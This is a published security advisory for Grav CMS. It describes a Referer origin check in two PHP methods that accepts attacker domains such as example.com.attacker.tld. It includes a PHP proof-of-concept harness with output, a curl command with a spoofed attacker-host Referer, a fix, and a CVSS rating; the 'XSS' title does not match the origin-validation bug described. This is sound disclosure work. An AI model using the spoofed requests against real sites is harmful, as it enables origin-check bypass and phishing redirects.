GHSA-9ccq-2jfg-qw33: XSS

Published Sep 17, 2026
·
Updated

Summary

Grav\Common\Uri::referrer() and Grav\Common\Page\Pages::referrerRoute() both check whether an incoming request's Referer header "came from our site" using strstartswith($referrer, $base), where $base is the site's own absolute root URL (for example https://example.com, no trailing slash). Because the comparison has no boundary character after the prefix, any Referer value that merely starts with that string is accepted, including a Referer from a completely different host such as https://example.com.attacker.tld.

This is the same class of bug already fixed once in 2.0.15 for the fast static asset server (GHSA-4v9q-p283-qc2m, "also allowing any neighbouring directory whose name starts with the same letters"). The identical pattern is still present in both places that trust the Referer header, and neither is covered by that fix.

Affected product and version

Product: Grav CMS, getgrav/grav Confirmed present in: 2.0.15, commit c2b46866857a93a0aa7048e7ed707ed3ed45dbc3 The pattern is not touched by any of the 2.0.15 security fixes, so earlier 2.x releases are likely affected too. I have not checked how far back it goes.

Affected code

system/src/Grav/Common/Uri.php, method referrer(): php $referrer = $SERVER['HTTPREFERER'] ?? null; ... $base = $this->rootUrl(true); // e.g. "https://example.com", no trailing slash // Referrer should always have host set and it should come from the same base address. if (!isstring($referrer) || !strstartswith($referrer, $base)) { $referrer = $default ?: $this->route(true, true); } $referrer = substr($referrer, strlen($base));

system/src/Grav/Common/Page/Pages.php, method referrerRoute(): php $referrer = $SERVER['HTTPREFERER'] ?? null; $root = $this->grav['baseurlabsolute']; // e.g. "https://example.com" if (!isstring($referrer) || !strstartswith($referrer, (string) $root)) { return null; }

Note that the inner per-language loop later in the same referrerRoute() method does anchor the check correctly (strstartswith($referrer, "{$base}/")), and system/src/Grav/Common/Themes.php line 300 does the same thing correctly ($current === $base || strstartswith($current, $base . '/')). So the codebase already has the correct pattern elsewhere. Only the two outer checks quoted above compare against the bare root URL with no trailing delimiter.

Root cause

strstartswith($referrer, $base) treats $base as a plain string prefix. Since $base has no trailing /, a string is accepted as long as it begins with those exact characters, regardless of what character follows. An attacker fully controls their own domain name, so producing a string that begins with the victim's origin is trivial, for example by registering example.com.attacker.tld or example.com-attacker.tld.

Under the default browser Referrer Policy (strict-origin-when-cross-origin), a cross-origin click or form submission from the attacker's page sends only the origin (scheme://host) as Referer, which is exactly the granularity $base is compared at, so no unusual browser configuration is required.

Proof of concept, verified, real output

This was run directly against the actual, unmodified source file from the repository, not a reimplementation. Steps and exact output below.

Step 1, clone the repo and confirm the commit under test: $ git clone --depth 1 https://github.com/getgrav/grav.git $ cd grav && git log -1 --format="%H %ai" c2b46866857a93a0aa7048e7ed707ed3ed45dbc3 2026-08-03 15:14:50 +0100

Step 2, install PHP to execute the real class: $ apt-get install -y php-cli $ php -v PHP 8.3.6 (cli) (built: Jul 16 2026 18:30:41) (NTS)

Step 3, PoC harness. Full site bootstrap, composer install, database, config, is not required to demonstrate this specific bug, since referrer() only needs the $root property, which init() would normally compute from the site config. The harness sets that one property with PHP Reflection, then calls the real, unmodified referrer() method with a real $SERVER['HTTPREFERER'] value, exactly the input path a live server would use:

php <?php // poc.php splautoloadregister(function ($class) { if (strpos($class, 'Grav\\') === 0) { $rel = strreplace('Grav\\', '', $class); $path = '/home/claude/grav/system/src/Grav/' . strreplace('\\', '/', $rel) . '.php'; if (fileexists($path)) { requireonce $path; } } });

$env = [ 'HTTPHOST' => 'example.com', 'REQUESTURI' => '/target-route', 'HTTPS' => 'on', ];

$uri = new \Grav\Common\Uri($env);

$ref = new ReflectionObject($uri); $prop = $ref->getProperty('root'); $prop->setAccessible(true); $prop->setValue($uri, 'https://example.com');

function test($label, $refererHeader) { global $uri; $SERVER['HTTPREFERER'] = $refererHeader; $result = $uri->referrer('https://example.com/DEFAULTFALLBACKUSED'); echo "$label\n"; echo " Referer sent : $refererHeader\n"; echo " referrer() returned : $result\n"; echo " Same-origin check : " . ($result === '/DEFAULTFALLBACKUSED' ? 'REJECTED (fallback used, correct)' : 'ACCEPTED (Referer treated as same-origin)') . "\n\n"; }

echo "=== Grav\\Common\\Uri::referrer() executed against real, unmodified source ===\n"; echo "Site base (\$root, as init() would set it) = https://example.com\n\n";

test('[1] Legitimate same-site referrer', 'https://example.com/some/page'); test('[2] Unrelated attacker site, sanity check, must be rejected', 'https://attacker.tld/phish'); test('[3] Attacker domain string-prefixing victim domain, vulnerable case', 'https://example.com.attacker.tld/phish'); test('[4] Attacker domain, dash variant, vulnerable case', 'https://example.com-attacker.tld/phish');

Step 4, run it: $ php poc.php

Actual output: === Grav\Common\Uri::referrer() executed against real, unmodified source === Site base ($root, as init() would set it) = https://example.com

[1] Legitimate same-site referrer Referer sent : https://example.com/some/page referrer() returned : /some/page Same-origin check : ACCEPTED (Referer treated as same-origin)

[2] Unrelated attacker site, sanity check, must be rejected Referer sent : https://attacker.tld/phish referrer() returned : /DEFAULTFALLBACKUSED Same-origin check : REJECTED (fallback used, correct)

[3] Attacker domain string-prefixing victim domain, vulnerable case Referer sent : https://example.com.attacker.tld/phish referrer() returned : .attacker.tld/phish Same-origin check : ACCEPTED (Referer treated as same-origin)

[4] Attacker domain, dash variant, vulnerable case Referer sent : https://example.com-attacker.tld/phish referrer() returned : -attacker.tld/phish Same-origin check : ACCEPTED (Referer treated as same-origin)

Interpretation: test 2 proves the harness correctly rejects a genuinely unrelated origin, so the acceptance in tests 3 and 4 is not a harness artifact. https://example.com.attacker.tld and https://example.com-attacker.tld, both fully attacker owned and registerable domains, are treated by referrer() as if they were https://example.com itself.

For a live end to end check against a running installation, this is the manual equivalent with curl once a Grav site is deployed at a known host, and it exercises the exact same strstartswith comparison inside the real request path, not a standalone harness: curl -s -H "Referer: https://TARGETHOST.attacker.tld/x" https://TARGETHOST/some/route I did not have a fully bootstrapped live Grav instance available in this environment, composer install requires packagist.org, which was not reachable from the sandbox I was working in, so I was not able to additionally capture that live HTTP round trip. The harness above exercises the identical, unmodified vulnerable method and comparison from the real source file, so the defect itself is verified. What I could not verify from this repository alone is the specific downstream consumer of the return value, since Pages::referrerRoute()'s only real caller I could find references, per its own docblock example, which mentions /admin, is expected to live in the Admin plugin, getgrav/grav-plugin-admin, a separate repository not included in this checkout. If that is where a post login redirect target gets built from this value, please confirm on your end, since it would raise the severity of this report from an origin check bypass to a concrete open redirect after login.

Impact

An attacker who gets a victim to click a link, or to load a page that issues a cross-site request, from an attacker-controlled domain that string-prefixes the victim's Grav site domain can make the application treat that request as though it originated on site when it did not. The function also returns a relative route value derived directly from attacker-controlled input, via substr($referrer, strlen($base)), seen in test 3 and 4 above as .attacker.tld/phish and -attacker.tld/phish. If that value is later reused to build a redirect target, this becomes an open redirect. I was not able to fully confirm that chain from this repository alone, since the concrete consumer appears to live in the separate Admin plugin repository, but the origin check itself is unambiguously broken, and it is a reusable, security documented API, the docblock for referrer() explicitly states it checks that the referrer came from the site.

Suggested fix

Anchor the comparison the same way the codebase already does correctly elsewhere: php // Uri::referrer() if (!isstring($referrer) || !($referrer === $base || strstartswith($referrer, $base . '/'))) { ... }

// Pages::referrerRoute() if (!isstring($referrer) || !($referrer === $root || strstartswith($referrer, $root . '/'))) { return null; } A more robust alternative is to parse both values with parseurl() and compare scheme, host, and port as discrete fields instead of doing any string prefix comparison.

Additional notes

While reviewing this release I also checked Utils::checkFilename() and the uploadsdangerousextensions list, the Security::detectXss() regex handling of onevents and xmlns, and the twigsandbox allow list in system/config/security.yaml. All three looked solid and appear to already reflect the fixes from prior advisories, GHSA-w8cg-7jcj-4vv2, GHSA-c2q3-p4jr-c55f, GHSA-j274-39qw-32c9. I did not find further issues to report there. Given this pattern has now recurred at least three times in this codebase, the static asset server, Uri::referrer(), and Pages::referrerRoute(), it may be worth grepping for every remaining strstartswith($x, $base) call site touching URLs or paths.

=========================================================== CWE FIELD =========================================================== CWE-346, Origin Validation Error

=========================================================== CVSS CALCULATOR SELECTIONS (v3.1) =========================================================== Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Unchanged Confidentiality: None Integrity: Low Availability: None

Resulting vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N Resulting score: 4.3, severity Medium

Note for the maintainer: this is a conservative rating for the origin check bypass on its own. If you confirm that Pages::referrerRoute()'s output feeds an unvalidated redirect target in the Admin plugin's post login flow, please rescore, Integrity would likely move to High and this becomes a credential phishing primitive right after a real login, which is meaningfully worse than the score above reflects.

=========================================================== SEVERITY FIELD =========================================================== Moderate, pending your confirmation of the Admin plugin call site, see note above

Affected Software

1 affected componentFixes available
composer/getgrav/grav<=2.0.15
2.0.16

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/getgrav/grav to a version that resolves this vulnerability.

    Fixed in 2.0.16
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Patch GHSA-w8cg-7jcj-4vv2
  3. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Patch GHSA-c2q3-p4jr-c55f
  4. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Patch GHSA-j274-39qw-32c9
  5. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Patch GHSA-4v9q-p283-qc2m

Event History

Sep 17, 2026
Advisory Published
via GitHub·08:24 PM
Data Sourced
via GitHub·08:24 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Is upgrading to Grav CMS 2.0.15 sufficient to address this issue?

No. The vulnerable pattern is confirmed present in 2.0.15, and the security fixes in that release did not modify the two affected Referer-validation locations.

2

What does an attacker need to bypass the site-origin check?

They need to cause a request to carry a Referer value beginning with the site's absolute base URL but using a different host, such as https://example.com.attacker.tld when the expected base is https://example.com. The prefix-only comparison accepts that value without requiring a host boundary.

3

How can I check whether my Grav installation contains the vulnerable logic?

Inspect Grav\Common\Uri::referrer() and Grav\Common\Page\Pages::referrerRoute() for a check equivalent to str_starts_with($referrer, $base), where $base is the site's absolute root URL without a trailing slash. That pattern is the identified issue.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203